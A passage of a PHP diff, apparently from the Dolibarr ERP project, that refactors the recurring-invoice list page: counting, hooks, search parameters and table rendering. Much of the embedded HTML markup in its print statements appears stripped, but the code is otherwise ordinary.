|| GETPOST('button_search_x', 'alpha') || GETPOST('button_search.x', 'alpha') || GETPOST('button_search', 'alpha')) { + $massaction = ''; // Protection to avoid mass action if we force a new search during a mass action confirmation + } // Mass actions /*$objectclass='MyObject'; @@ -254,8 +265,6 @@ if (empty($reshook)) { * View */ -llxHeader('', $langs->trans("RepeatableInvoices"), 'ch-facture.html#s-fac-facture-rec'); - $form = new Form($db); $formother = new FormOther($db); if (isModEnabled('project')) { @@ -266,13 +275,17 @@ $invoicerectmp = new FactureRec($db); $tmpuser = new User($db); $now = dol_now(); + +$help_url = ''; +$title = $langs->trans("RepeatableInvoices"); +$morejs = array(); +$morecss = array(); + $tmparray = dol_getdate($now); $today = dol_mktime(23, 59, 59, $tmparray['mon'], $tmparray['mday'], $tmparray['year']); // Today is last second of current day - -/* - * List mode - */ +// Build and execute select +// -------------------------------------------------------------------- $sql = "SELECT s.nom as name, s.rowid as socid, f.rowid as facid, f.titre as title, f.total_ht, f.total_tva, f.total_ttc, f.frequency, f.unit_frequency,"; $sql .= " f.nb_gen_done, f.nb_gen_max, f.date_last_gen, f.date_when, f.suspended,"; @@ -287,14 +300,21 @@ if (!empty($extrafields->attributes[$object->table_element]['label'])) { // Add fields from hooks $parameters = array(); $reshook = $hookmanager->executeHooks('printFieldListSelect', $parameters, $object); // Note that $action and $object may have been modified by hook -$sql .= preg_replace('/^,/', '', $hookmanager->resPrint); +$sql .= $hookmanager->resPrint; $sql = preg_replace('/,\s*$/', '', $sql); +$sqlfields = $sql; // $sql fields to remove for count total + $sql .= " FROM ".MAIN_DB_PREFIX."societe as s, ".MAIN_DB_PREFIX."facture_rec as f"; $sql .= " LEFT JOIN ".MAIN_DB_PREFIX."facture_rec_extrafields as ef ON ef.fk_object = f.rowid"; if (empty($user->rights->societe->client->voir) && !$socid) { $sql .= ", ".MAIN_DB_PREFIX."societe_commerciaux as sc"; } +// Add table from hooks +$parameters = array(); +$reshook = $hookmanager->executeHooks('printFieldListFrom', $parameters, $object); // Note that $action and $object may have been modified by hook +$sql .= $hookmanager->resPrint; + $sql .= " WHERE f.fk_soc = s.rowid"; $sql .= ' AND f.entity IN ('.getEntity('invoice').')'; if (empty($user->rights->societe->client->voir) && !$socid) { @@ -334,7 +354,11 @@ if ($search_frequency != '') { $sql .= natural_search('f.frequency', $search_frequency, 1); } if ($search_unit_frequency != '') { - $sql .= ' AND f.frequency > 0'.natural_search('f.unit_frequency', $search_unit_frequency); + $sql .= ' AND f.frequency > 0'; + $sql .= natural_search('f.unit_frequency', $search_unit_frequency); +} +if ($search_nb_gen_done != '') { + $sql .= natural_search("f.nb_gen_done", $search_nb_gen_done, 1); } if ($search_status != '' && $search_status >= -1) { if ($search_status == 0) { @@ -360,583 +384,715 @@ if ($search_date_when_end) { $sql .= " AND f.date_when <= '".$db->idate($search_date_when_end)."'"; } -$tmpsortfield = $sortfield; -if ($tmpsortfield == 'recurring') { - $tmpsortfield = 'f.frequency'; -} -$sql .= $db->order($tmpsortfield, $sortorder); - +// Count total nb of records $nbtotalofrecords = ''; if (empty($conf->global->MAIN_DISABLE_FULL_SCANLIST)) { - $result = $db->query($sql); - $nbtotalofrecords = $db->num_rows($result); + /* The fast and low memory method to get and count full list converts the sql into a sql count */ + $sqlforcount = preg_replace('/^'.preg_quote($sqlfields, '/').'/', 'SELECT COUNT(*) as nbtotalofrecords', $sql); + $sqlforcount = preg_replace('/GROUP BY .*$/', '', $sqlforcount); + $resql = $db->query($sqlforcount); + if ($resql) { + $objforcount = $db->fetch_object($resql); + $nbtotalofrecords = $objforcount->nbtotalofrecords; + } else { + dol_print_error($db); + } + if (($page * $limit) > $nbtotalofrecords) { // if total resultset is smaller then paging size (filtering), goto and load page 0 $page = 0; $offset = 0; } + $db->free($resql); } -$sql .= $db->plimit($limit + 1, $offset); +$tmpsortfield = $sortfield; +if ($tmpsortfield == 'recurring') { + $tmpsortfield = 'f.frequency'; +} + +// Complete request and execute it with limit +$sql .= $db->order($tmpsortfield, $sortorder); +if ($limit) { + $sql .= $db->plimit($limit + 1, $offset); +} $resql = $db->query($sql); -if ($resql) { - $num = $db->num_rows($resql); +if (!$resql) { + dol_print_error($db); + exit; +} - $param = ''; - if (!empty($contextpage) && $contextpage != $_SERVER["PHP_SELF"]) { - $param .= '&contextpage='.urlencode($contextpage); - } - if ($limit > 0 && $limit != $conf->liste_limit) { - $param .= '&limit='.urlencode($limit); - } - if ($socid > 0) { - $param .= '&socid='.urlencode($socid); - } - if ($search_date_startday) { - $param .= '&search_date_startday='.urlencode($search_date_startday); - } - if ($search_date_startmonth) { - $param .= '&search_date_startmonth='.urlencode($search_date_startmonth); - } - if ($search_date_startyear) { - $param .= '&search_date_startyear='.urlencode($search_date_startyear); - } - if ($search_date_endday) { - $param .= '&search_date_endday='.urlencode($search_date_endday); - } - if ($search_date_endmonth) { - $param .= '&search_date_endmonth='.urlencode($search_date_endmonth); - } - if ($search_date_endyear) { - $param .= '&search_date_endyear='.urlencode($search_date_endyear); - } - if ($search_date_when_startday) { - $param .= '&search_date_when_startday='.urlencode($search_date_when_startday); - } - if ($search_date_when_startmonth) { - $param .= '&search_date_when_startmonth='.urlencode($search_date_when_startmonth); - } - if ($search_date_when_startyear) { - $param .= '&search_date_when_startyear='.urlencode($search_date_when_startyear); - } - if ($search_date_when_endday) { - $param .= '&search_date_when_endday='.urlencode($search_date_when_endday); - } - if ($search_date_when_endmonth) { - $param .= '&search_date_when_endmonth='.urlencode($search_date_when_endmonth); - } - if ($search_date_when_endyear) { - $param .= '&search_date_when_endyear='.urlencode($search_date_when_endyear); - } - if ($search_ref) { - $param .= '&search_ref='.urlencode($search_ref); - } - if ($search_societe) { - $param .= '&search_societe='.urlencode($search_societe); - } - if ($search_montant_ht != '') { - $param .= '&search_montant_ht='.urlencode($search_montant_ht); - } - if ($search_montant_vat != '') { - $param .= '&search_montant_vat='.urlencode($search_montant_vat); - } - if ($search_montant_ttc != '') { - $param .= '&search_montant_ttc='.urlencode($search_montant_ttc); - } - if ($search_payment_mode != '') { - $param .= '&search_payment_mode='.urlencode($search_payment_mode); - } - if ($search_payment_term != '') { - $param .= '&search_payment_term='.urlencode($search_payment_term); - } - if ($search_recurring != '' && $search_recurring != '-1') { - $param .= '&search_recurring='.urlencode($search_recurring); - } - if ($search_frequency > 0) { - $param .= '&search_frequency='.urlencode($search_frequency); - } - if ($search_unit_frequency != '') { - $param .= '&search_unit_frequency='.urlencode($search_unit_frequency); - } - if ($search_status != '') { - $param .= '&search_status='.urlencode($search_status); - } - if ($optioncss != '') { - $param .= '&optioncss='.urlencode($optioncss); - } - // Add $param from extra fields - include DOL_DOCUMENT_ROOT.'/core/tpl/extrafields_list_search_param.tpl.php'; +$num = $db->num_rows($resql); - $massactionbutton = $form->selectMassAction('', $massaction == 'presend' ? array() : array('presend'=>$langs->trans("SendByMail"), 'builddoc'=>$langs->trans("PDFMerge"))); - $varpage = empty($contextpage) ? $_SERVER["PHP_SELF"] : $contextpage; - $selectedfields = $form->multiSelectArrayWithCheckbox('selectedfields', $arrayfields, $varpage); // This also change content of $arrayfields - //$selectedfields.=$form->showCheckAddButtons('checkforselect', 1); +// Output page +// -------------------------------------------------------------------- - print '
      '; - if ($optioncss != '') { - print ''; - } - print ''; - print ''; - print ''; - print ''; - print ''; - print ''; - print ''; +llxHeader('', $title, $help_url, '', 0, 0, $morejs, $morecss, '', 'bodyforlist'); - $title = $langs->trans("RepeatableInvoices"); +$arrayofselected = is_array($toselect) ? $toselect : array(); - print_barre_liste($title, $page, $_SERVER['PHP_SELF'], $param, $sortfield, $sortorder, '', $num, $nbtotalofrecords, 'bill', 0, '', '', $limit, 0, 0, 1); +$param = ''; +if (!empty($mode)) { + $param .= '&mode='.urlencode($mode); +} +if (!empty($contextpage) && $contextpage != $_SERVER["PHP_SELF"]) { + $param .= '&contextpage='.urlencode($contextpage); +} +if ($limit > 0 && $limit != $conf->liste_limit) { + $param .= '&limit='.urlencode($limit); +} +if ($socid > 0) { + $param .= '&socid='.urlencode($socid); +} +if ($search_date_startday) { + $param .= '&search_date_startday='.urlencode($search_date_startday); +} +if ($search_date_startmonth) { + $param .= '&search_date_startmonth='.urlencode($search_date_startmonth); +} +if ($search_date_startyear) { + $param .= '&search_date_startyear='.urlencode($search_date_startyear); +} +if ($search_date_endday) { + $param .= '&search_date_endday='.urlencode($search_date_endday); +} +if ($search_date_endmonth) { + $param .= '&search_date_endmonth='.urlencode($search_date_endmonth); +} +if ($search_date_endyear) { + $param .= '&search_date_endyear='.urlencode($search_date_endyear); +} +if ($search_date_when_startday) { + $param .= '&search_date_when_startday='.urlencode($search_date_when_startday); +} +if ($search_date_when_startmonth) { + $param .= '&search_date_when_startmonth='.urlencode($search_date_when_startmonth); +} +if ($search_date_when_startyear) { + $param .= '&search_date_when_startyear='.urlencode($search_date_when_startyear); +} +if ($search_date_when_endday) { + $param .= '&search_date_when_endday='.urlencode($search_date_when_endday); +} +if ($search_date_when_endmonth) { + $param .= '&search_date_when_endmonth='.urlencode($search_date_when_endmonth); +} +if ($search_date_when_endyear) { + $param .= '&search_date_when_endyear='.urlencode($search_date_when_endyear); +} +if ($search_ref) { + $param .= '&search_ref='.urlencode($search_ref); +} +if ($search_societe) { + $param .= '&search_societe='.urlencode($search_societe); +} +if ($search_montant_ht != '') { + $param .= '&search_montant_ht='.urlencode($search_montant_ht); +} +if ($search_montant_vat != '') { + $param .= '&search_montant_vat='.urlencode($search_montant_vat); +} +if ($search_montant_ttc != '') { + $param .= '&search_montant_ttc='.urlencode($search_montant_ttc); +} +if ($search_payment_mode != '') { + $param .= '&search_payment_mode='.urlencode($search_payment_mode); +} +if ($search_payment_term != '') { + $param .= '&search_payment_term='.urlencode($search_payment_term); +} +if ($search_recurring != '' && $search_recurring != '-1') { + $param .= '&search_recurring='.urlencode($search_recurring); +} +if ($search_frequency > 0) { + $param .= '&search_frequency='.urlencode($search_frequency); +} +if ($search_unit_frequency != '') { + $param .= '&search_unit_frequency='.urlencode($search_unit_frequency); +} +if ($search_nb_gen_done != '') { + $param .= '&search_nb_gen_done='.urlencode($search_nb_gen_done); +} +if ($search_status != '') { + $param .= '&search_status='.urlencode($search_status); +} +if ($optioncss != '') { + $param .= '&optioncss='.urlencode($optioncss); +} +// Add $param from extra fields +include DOL_DOCUMENT_ROOT.'/core/tpl/extrafields_list_search_param.tpl.php'; +// Add $param from hooks +$parameters = array(); +$reshook = $hookmanager->executeHooks('printFieldListSearchParam', $parameters, $object); // Note that $action and $object may have been modified by hook +$param .= $hookmanager->resPrint; - print ''.$langs->trans("ToCreateAPredefinedInvoice", $langs->transnoentitiesnoconv("ChangeIntoRepeatableInvoice")).'

      '; +// List of mass actions available +$arrayofmassactions = array( + //'validate'=>img_picto('', 'check', 'class="pictofixedwidth"').$langs->trans("Validate"), + //'generate_doc'=>img_picto('', 'pdf', 'class="pictofixedwidth"').$langs->trans("ReGeneratePDF"), + //'builddoc'=>img_picto('', 'pdf', 'class="pictofixedwidth"').$langs->trans("PDFMerge"), + //'presend'=>img_picto('', 'email', 'class="pictofixedwidth"').$langs->trans("SendByMail"), +); - $i = 0; +$massactionbutton = $form->selectMassAction('', $massaction == 'presend' ? array() : array('presend'=>$langs->trans("SendByMail"), 'builddoc'=>$langs->trans("PDFMerge"))); - $moreforfilter = ''; +$varpage = empty($contextpage) ? $_SERVER["PHP_SELF"] : $contextpage; +$selectedfields = $form->multiSelectArrayWithCheckbox('selectedfields', $arrayfields, $varpage); // This also change content of $arrayfields +//$selectedfields.=$form->showCheckAddButtons('checkforselect', 1); - print '
      '; - print ''."\n"; +print ''."\n"; +if ($optioncss != '') { + print ''; +} +print ''; +print ''; +print ''; +print ''; +print ''; +print ''; +print ''; +print ''; +print ''; - // Filters lines - print ''; - // Ref - if (!empty($arrayfields['f.titre']['checked'])) { - print ''; - } - // Thirdparty - if (!empty($arrayfields['s.nom']['checked'])) { - print ''; - } - if (!empty($arrayfields['f.total_ht']['checked'])) { - // Amount net - print ''; - } - if (!empty($arrayfields['f.total_tva']['checked'])) { - // Amount Vat - print ''; - } - if (!empty($arrayfields['f.total_ttc']['checked'])) { - // Amount - print ''; - } - if (!empty($arrayfields['f.fk_cond_reglement']['checked'])) { - // Payment term - print '"; - } - if (!empty($arrayfields['f.fk_mode_reglement']['checked'])) { - // Payment mode - print ''; - } - if (!empty($arrayfields['recurring']['checked'])) { - // Recurring or not - print ''; - } - if (!empty($arrayfields['f.frequency']['checked'])) { - // Recurring or not - print ''; - } - if (!empty($arrayfields['f.unit_frequency']['checked'])) { - // Frequency unit - print ''; - } - if (!empty($arrayfields['f.nb_gen_done']['checked'])) { - // Nb generation - print ''; - } - // Date invoice - if (!empty($arrayfields['f.date_last_gen']['checked'])) { - print ''; - } - // Date next generation - if (!empty($arrayfields['f.date_when']['checked'])) { - print ''; - } - // Extra fields - include DOL_DOCUMENT_ROOT.'/core/tpl/extrafields_list_search_input.tpl.php'; - // Fields from hook - $parameters = array('arrayfields'=>$arrayfields); - $reshook = $hookmanager->executeHooks('printFieldListOption', $parameters); // Note that $action and $object may have been modified by hook - print $hookmanager->resPrint; - // User creation - if (!empty($arrayfields['f.fk_user_author']['checked'])) { - print ''; - } - // User modification - if (!empty($arrayfields['f.fk_user_modif']['checked'])) { - print ''; - } - // Date creation - if (!empty($arrayfields['f.datec']['checked'])) { - print ''; - } - // Date modification - if (!empty($arrayfields['f.tms']['checked'])) { - print ''; - } - // Status - if (!empty($arrayfields['status']['checked'])) { - print ''; - } - // Action column - print ''; +} + +$db->free($resql); + + +$parameters = array('arrayfields'=>$arrayfields, 'sql'=>$sql); +$reshook = $hookmanager->executeHooks('printFieldListFooter', $parameters, $object, $action); // Note that $action and $object may have been modified by hook +print $hookmanager->resPrint; + +print '
      '; - print ''; - print ''; - print ''; - print ''; - print ''; - print ''; - print ''; - print ''; - print $form->getSelectConditionsPaiements($search_payment_term, 'search_payment_term', -1, 1, 1, 'maxwidth100'); - print "'; - print $form->select_types_paiements($search_payment_mode, 'search_payment_mode', '', 0, 1, 1, 0, 1, 'maxwidth100', 1); - print ''; - print $form->selectyesno('search_recurring', $search_recurring, 1, false, 1); - print ''; - print ''; - print ''; - print ''; - print ''; - print ''; - print '
      '; - print $form->selectDate($search_date_start ? $search_date_start : -1, 'search_date_start', 0, 0, 1, '', 1, 0, 0, '', '', '', '', 1, '', $langs->trans('From')); - print '
      '; - print '
      '; - print $form->selectDate($search_date_end ? $search_date_end : -1, 'search_date_end', 0, 0, 1, '', 1, 0, 0, '', '', '', '', 1, '', $langs->trans('to')); - print '
      '; - print '
      '; - print '
      '; - print $form->selectDate($search_date_when_start ? $search_date_when_start : -1, 'search_date_when_start', 0, 0, 1, '', 1, 0, 0, '', '', '', '', 1, '', $langs->trans('From')); - print '
      '; - print '
      '; - print $form->selectDate($search_date_when_end ? $search_date_when_end : -1, 'search_date_when_end', 0, 0, 1, '', 1, 0, 0, '', '', '', '', 1, '', $langs->trans('to')); - print '
      '; - print '
      '; - print ''; - print ''; - print ''; - print ''; - $liststatus = array( - 0=>$langs->trans("Draft"), - 1=>$langs->trans("Active"), - -1=>$langs->trans("Disabled"), - ); - print $form->selectarray('search_status', $liststatus, $search_status, -2, 0, 0, '', 0, 0, 0, '', 'width100'); - print ''; +print_barre_liste($title, $page, $_SERVER["PHP_SELF"], $param, $sortfield, $sortorder, $massactionbutton, $num, $nbtotalofrecords, 'bill', 0, '', '', $limit, 0, 0, 1); + +print ''.$langs->trans("ToCreateAPredefinedInvoice", $langs->transnoentitiesnoconv("ChangeIntoRepeatableInvoice")).'

      '; + +$i = 0; + +$moreforfilter = ''; + +$parameters = array(); +$reshook = $hookmanager->executeHooks('printFieldPreListTitle', $parameters, $object, $action); // Note that $action and $object may have been modified by hook +if (empty($reshook)) { + $moreforfilter .= $hookmanager->resPrint; +} else { + $moreforfilter = $hookmanager->resPrint; +} + +if (!empty($moreforfilter)) { + print '
      '; + print $moreforfilter; + print '
      '; +} + +$varpage = empty($contextpage) ? $_SERVER["PHP_SELF"] : $contextpage; +$selectedfields = $form->multiSelectArrayWithCheckbox('selectedfields', $arrayfields, $varpage, getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN', '')); // This also change content of $arrayfields +$selectedfields .= (count($arrayofmassactions) ? $form->showCheckAddButtons('checkforselect', 1) : ''); + +print '
      '; // You can use div-table-responsive-no-min if you dont need reserved height for your table +print ''."\n"; + + +// Fields title search +// -------------------------------------------------------------------- +print ''; +// Action column +if (getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN')) { + print ''; +} +// Ref +if (!empty($arrayfields['f.titre']['checked'])) { + print ''; +} +// Thirdparty +if (!empty($arrayfields['s.nom']['checked'])) { + print ''; +} +if (!empty($arrayfields['f.total_ht']['checked'])) { + // Amount net + print ''; +} +if (!empty($arrayfields['f.total_tva']['checked'])) { + // Amount Vat + print ''; +} +if (!empty($arrayfields['f.total_ttc']['checked'])) { + // Amount + print ''; +} +if (!empty($arrayfields['f.fk_cond_reglement']['checked'])) { + // Payment term + print '"; +} +if (!empty($arrayfields['f.fk_mode_reglement']['checked'])) { + // Payment mode + print ''; +} +if (!empty($arrayfields['recurring']['checked'])) { + // Recurring or not + print ''; +} +if (!empty($arrayfields['f.frequency']['checked'])) { + // Recurring or not + print ''; +} +if (!empty($arrayfields['f.unit_frequency']['checked'])) { + // Frequency unit + print ''; +} +if (!empty($arrayfields['f.nb_gen_done']['checked'])) { + // Nb generation + print ''; +} +// Date invoice +if (!empty($arrayfields['f.date_last_gen']['checked'])) { + print ''; +} +// Date next generation +if (!empty($arrayfields['f.date_when']['checked'])) { + print ''; +} +// Extra fields +include DOL_DOCUMENT_ROOT.'/core/tpl/extrafields_list_search_input.tpl.php'; + +// Fields from hook +$parameters = array('arrayfields'=>$arrayfields); +$reshook = $hookmanager->executeHooks('printFieldListOption', $parameters, $object); // Note that $action and $object may have been modified by hook +print $hookmanager->resPrint; +// User creation +if (!empty($arrayfields['f.fk_user_author']['checked'])) { + print ''; +} +// User modification +if (!empty($arrayfields['f.fk_user_modif']['checked'])) { + print ''; +} +// Date creation +if (!empty($arrayfields['f.datec']['checked'])) { + print ''; +} +// Date modification +if (!empty($arrayfields['f.tms']['checked'])) { + print ''; +} +// Status +if (!empty($arrayfields['status']['checked'])) { + print ''; +} +// Action column +if (!getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN')) { + print ''; - print "\n"; +} +print ''."\n"; - print ''; +$totalarray = array(); +$totalarray['nbfield'] = 0; + +// Fields title label +// -------------------------------------------------------------------- +print ''; +if (getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN')) { + print getTitleFieldOfList(($mode != 'kanban' ? $selectedfields : ''), 0, $_SERVER["PHP_SELF"], '', '', '', '', $sortfield, $sortorder, 'center maxwidthsearch ')."\n"; + $totalarray['nbfield']++; +} +if (!empty($arrayfields['f.titre']['checked'])) { + print_liste_field_titre($arrayfields['f.titre']['label'], $_SERVER['PHP_SELF'], "f.titre", "", $param, "", $sortfield, $sortorder); + $totalarray['nbfield']++; +} +if (!empty($arrayfields['s.nom']['checked'])) { + print_liste_field_titre($arrayfields['s.nom']['label'], $_SERVER['PHP_SELF'], "s.nom", "", $param, "", $sortfield, $sortorder); + $totalarray['nbfield']++; +} +if (!empty($arrayfields['f.total_ht']['checked'])) { + print_liste_field_titre($arrayfields['f.total_ht']['label'], $_SERVER['PHP_SELF'], "f.total_ht", "", $param, '', $sortfield, $sortorder, 'right '); + $totalarray['nbfield']++; +} +if (!empty($arrayfields['f.total_tva']['checked'])) { + print_liste_field_titre($arrayfields['f.total_tva']['label'], $_SERVER['PHP_SELF'], "f.total_tva", "", $param, '', $sortfield, $sortorder, 'right '); + $totalarray['nbfield']++; +} +if (!empty($arrayfields['f.total_ttc']['checked'])) { + print_liste_field_titre($arrayfields['f.total_ttc']['label'], $_SERVER['PHP_SELF'], "f.total_ttc", "", $param, '', $sortfield, $sortorder, 'right '); + $totalarray['nbfield']++; +} +if (!empty($arrayfields['f.fk_cond_reglement']['checked'])) { + print_liste_field_titre($arrayfields['f.fk_cond_reglement']['label'], $_SERVER['PHP_SELF'], "f.fk_cond_reglement", "", $param, '', $sortfield, $sortorder); + $totalarray['nbfield']++; +} +if (!empty($arrayfields['f.fk_mode_reglement']['checked'])) { + print_liste_field_titre($arrayfields['f.fk_mode_reglement']['label'], $_SERVER['PHP_SELF'], "f.fk_mode_reglement", "", $param, '', $sortfield, $sortorder); + $totalarray['nbfield']++; +} +if (!empty($arrayfields['recurring']['checked'])) { + print_liste_field_titre($arrayfields['recurring']['label'], $_SERVER['PHP_SELF'], "recurring", "", $param, '', $sortfield, $sortorder, 'center '); + $totalarray['nbfield']++; +} +if (!empty($arrayfields['f.frequency']['checked'])) { + print_liste_field_titre($arrayfields['f.frequency']['label'], $_SERVER['PHP_SELF'], "f.frequency", "", $param, '', $sortfield, $sortorder, 'center '); + $totalarray['nbfield']++; +} +if (!empty($arrayfields['f.unit_frequency']['checked'])) { + print_liste_field_titre($arrayfields['f.unit_frequency']['label'], $_SERVER['PHP_SELF'], "f.unit_frequency", "", $param, '', $sortfield, $sortorder, 'center '); + $totalarray['nbfield']++; +} +if (!empty($arrayfields['f.nb_gen_done']['checked'])) { + print_liste_field_titre($arrayfields['f.nb_gen_done']['label'], $_SERVER['PHP_SELF'], "f.nb_gen_done", "", $param, '', $sortfield, $sortorder, 'center '); + $totalarray['nbfield']++; +} +if (!empty($arrayfields['f.date_last_gen']['checked'])) { + print_liste_field_titre($arrayfields['f.date_last_gen']['label'], $_SERVER['PHP_SELF'], "f.date_last_gen", "", $param, '', $sortfield, $sortorder, 'center '); + $totalarray['nbfield']++; +} +if (!empty($arrayfields['f.date_when']['checked'])) { + print_liste_field_titre($arrayfields['f.date_when']['label'], $_SERVER['PHP_SELF'], "f.date_when", "", $param, '', $sortfield, $sortorder, 'center '); + $totalarray['nbfield']++; +} +if (!empty($arrayfields['f.fk_user_author']['checked'])) { + print_liste_field_titre($arrayfields['f.fk_user_author']['label'], $_SERVER['PHP_SELF'], "f.fk_user_author", "", $param, '', $sortfield, $sortorder, 'center '); + $totalarray['nbfield']++; +} +if (!empty($arrayfields['f.fk_user_modif']['checked'])) { + print_liste_field_titre($arrayfields['f.fk_user_modif']['label'], $_SERVER['PHP_SELF'], "f.fk_user_modif", "", $param, '', $sortfield, $sortorder, 'center '); + $totalarray['nbfield']++; +} +if (!empty($arrayfields['f.datec']['checked'])) { + print_liste_field_titre($arrayfields['f.datec']['label'], $_SERVER['PHP_SELF'], "f.datec", "", $param, '', $sortfield, $sortorder, 'center '); + $totalarray['nbfield']++; +} +if (!empty($arrayfields['f.tms']['checked'])) { + print_liste_field_titre($arrayfields['f.tms']['label'], $_SERVER['PHP_SELF'], "f.tms", "", $param, '', $sortfield, $sortorder, 'center '); + $totalarray['nbfield']++; +} +// Extra fields +include DOL_DOCUMENT_ROOT.'/core/tpl/extrafields_list_search_title.tpl.php'; +if (!empty($arrayfields['status']['checked'])) { + print_liste_field_titre($arrayfields['status']['label'], $_SERVER['PHP_SELF'], "f.suspended,f.frequency", "", $param, '', $sortfield, $sortorder, 'center '); + $totalarray['nbfield']++; +} +// Action column +if (!getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN')) { + print getTitleFieldOfList(($mode != 'kanban' ? $selectedfields : ''), 0, $_SERVER["PHP_SELF"], '', '', '', '', $sortfield, $sortorder, 'center maxwidthsearch ')."\n"; + $totalarray['nbfield']++; +} +print ''."\n"; + +$i = 0; +$savnbfield = $totalarray['nbfield']; +$totalarray = array(); +$totalarray['nbfield'] = 0; +$totalarray['val']['f.total_ht'] = 0; +$totalarray['val']['f.total_tva'] = 0; +$totalarray['val']['f.total_ttc'] = 0; +$imaxinloop = ($limit ? min($num, $limit) : $num); +while ($i < $imaxinloop) { + $objp = $db->fetch_object($resql); + if (empty($objp)) { + break; + } + + $companystatic->id = $objp->socid; + $companystatic->name = $objp->name; + + $invoicerectmp->id = !empty($objp->id) ? $objp->id : $objp->facid; + $invoicerectmp->frequency = $objp->frequency; + $invoicerectmp->suspended = $objp->suspended; + $invoicerectmp->unit_frequency = $objp->unit_frequency; + $invoicerectmp->nb_gen_max = $objp->nb_gen_max; + $invoicerectmp->nb_gen_done = $objp->nb_gen_done; + $invoicerectmp->ref = $objp->title; + $invoicerectmp->total_ht = $objp->total_ht; + $invoicerectmp->total_tva = $objp->total_tva; + $invoicerectmp->total_ttc = $objp->total_ttc; + + // Show here line of result + $j = 0; + print ''; + // Action column + if (getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN')) { + print ''; + if (!$i) { + $totalarray['nbfield']++; + } + } if (!empty($arrayfields['f.titre']['checked'])) { - print_liste_field_titre($arrayfields['f.titre']['label'], $_SERVER['PHP_SELF'], "f.titre", "", $param, "", $sortfield, $sortorder); + print '\n"; + if (!$i) { + $totalarray['nbfield']++; + } } if (!empty($arrayfields['s.nom']['checked'])) { - print_liste_field_titre($arrayfields['s.nom']['label'], $_SERVER['PHP_SELF'], "s.nom", "", $param, "", $sortfield, $sortorder); + print ''; + if (!$i) { + $totalarray['nbfield']++; + } } if (!empty($arrayfields['f.total_ht']['checked'])) { - print_liste_field_titre($arrayfields['f.total_ht']['label'], $_SERVER['PHP_SELF'], "f.total_ht", "", $param, 'class="right"', $sortfield, $sortorder); + print ''."\n"; + if (!$i) { + $totalarray['nbfield']++; + } + if (!$i) { + $totalarray['pos'][$totalarray['nbfield']] = 'f.total_ht'; + } + $totalarray['val']['f.total_ht'] += $objp->total_ht; } if (!empty($arrayfields['f.total_tva']['checked'])) { - print_liste_field_titre($arrayfields['f.total_tva']['label'], $_SERVER['PHP_SELF'], "f.total_tva", "", $param, 'class="right"', $sortfield, $sortorder); + print ''."\n"; + if (!$i) { + $totalarray['nbfield']++; + } + if (!$i) { + $totalarray['pos'][$totalarray['nbfield']] = 'f.total_tva'; + } + $totalarray['val']['f.total_tva'] += $objp->total_tva; } if (!empty($arrayfields['f.total_ttc']['checked'])) { - print_liste_field_titre($arrayfields['f.total_ttc']['label'], $_SERVER['PHP_SELF'], "f.total_ttc", "", $param, 'class="right"', $sortfield, $sortorder); + print ''."\n"; + if (!$i) { + $totalarray['nbfield']++; + } + if (!$i) { + $totalarray['pos'][$totalarray['nbfield']] = 'f.total_ttc'; + } + $totalarray['val']['f.total_ttc'] += $objp->total_ttc; } + // Payment term if (!empty($arrayfields['f.fk_cond_reglement']['checked'])) { - print_liste_field_titre($arrayfields['f.fk_cond_reglement']['label'], $_SERVER['PHP_SELF'], "f.fk_cond_reglement", "", $param, '', $sortfield, $sortorder); + print ''."\n"; + if (!$i) { + $totalarray['nbfield']++; + } } + // Payment mode if (!empty($arrayfields['f.fk_mode_reglement']['checked'])) { - print_liste_field_titre($arrayfields['f.fk_mode_reglement']['label'], $_SERVER['PHP_SELF'], "f.fk_mode_reglement", "", $param, '', $sortfield, $sortorder); + print ''."\n"; + if (!$i) { + $totalarray['nbfield']++; + } } + // Is it a recurring invoice if (!empty($arrayfields['recurring']['checked'])) { - print_liste_field_titre($arrayfields['recurring']['label'], $_SERVER['PHP_SELF'], "recurring", "", $param, 'class="center"', $sortfield, $sortorder); + print ''; + if (!$i) { + $totalarray['nbfield']++; + } } if (!empty($arrayfields['f.frequency']['checked'])) { - print_liste_field_titre($arrayfields['f.frequency']['label'], $_SERVER['PHP_SELF'], "f.frequency", "", $param, 'align="center"', $sortfield, $sortorder); + print ''; + if (!$i) { + $totalarray['nbfield']++; + } } if (!empty($arrayfields['f.unit_frequency']['checked'])) { - print_liste_field_titre($arrayfields['f.unit_frequency']['label'], $_SERVER['PHP_SELF'], "f.unit_frequency", "", $param, 'align="center"', $sortfield, $sortorder); + print ''; + if (!$i) { + $totalarray['nbfield']++; + } } if (!empty($arrayfields['f.nb_gen_done']['checked'])) { - print_liste_field_titre($arrayfields['f.nb_gen_done']['label'], $_SERVER['PHP_SELF'], "f.nb_gen_done", "", $param, 'align="center"', $sortfield, $sortorder); + print ''; + if (!$i) { + $totalarray['nbfield']++; + } } + // Date last generation if (!empty($arrayfields['f.date_last_gen']['checked'])) { - print_liste_field_titre($arrayfields['f.date_last_gen']['label'], $_SERVER['PHP_SELF'], "f.date_last_gen", "", $param, 'align="center"', $sortfield, $sortorder); + print ''; + if (!$i) { + $totalarray['nbfield']++; + } } + // Date next generation if (!empty($arrayfields['f.date_when']['checked'])) { - print_liste_field_titre($arrayfields['f.date_when']['label'], $_SERVER['PHP_SELF'], "f.date_when", "", $param, 'align="center"', $sortfield, $sortorder); + print ''; + if (!$i) { + $totalarray['nbfield']++; + } } if (!empty($arrayfields['f.fk_user_author']['checked'])) { - print_liste_field_titre($arrayfields['f.fk_user_author']['label'], $_SERVER['PHP_SELF'], "f.fk_user_author", "", $param, 'align="center"', $sortfield, $sortorder); + print ''; + if (!$i) { + $totalarray['nbfield']++; + } } if (!empty($arrayfields['f.fk_user_modif']['checked'])) { - print_liste_field_titre($arrayfields['f.fk_user_modif']['label'], $_SERVER['PHP_SELF'], "f.fk_user_modif", "", $param, 'align="center"', $sortfield, $sortorder); + print ''; + if (!$i) { + $totalarray['nbfield']++; + } } if (!empty($arrayfields['f.datec']['checked'])) { - print_liste_field_titre($arrayfields['f.datec']['label'], $_SERVER['PHP_SELF'], "f.datec", "", $param, 'align="center"', $sortfield, $sortorder); + print ''; + if (!$i) { + $totalarray['nbfield']++; + } } if (!empty($arrayfields['f.tms']['checked'])) { - print_liste_field_titre($arrayfields['f.tms']['label'], $_SERVER['PHP_SELF'], "f.tms", "", $param, 'align="center"', $sortfield, $sortorder); + 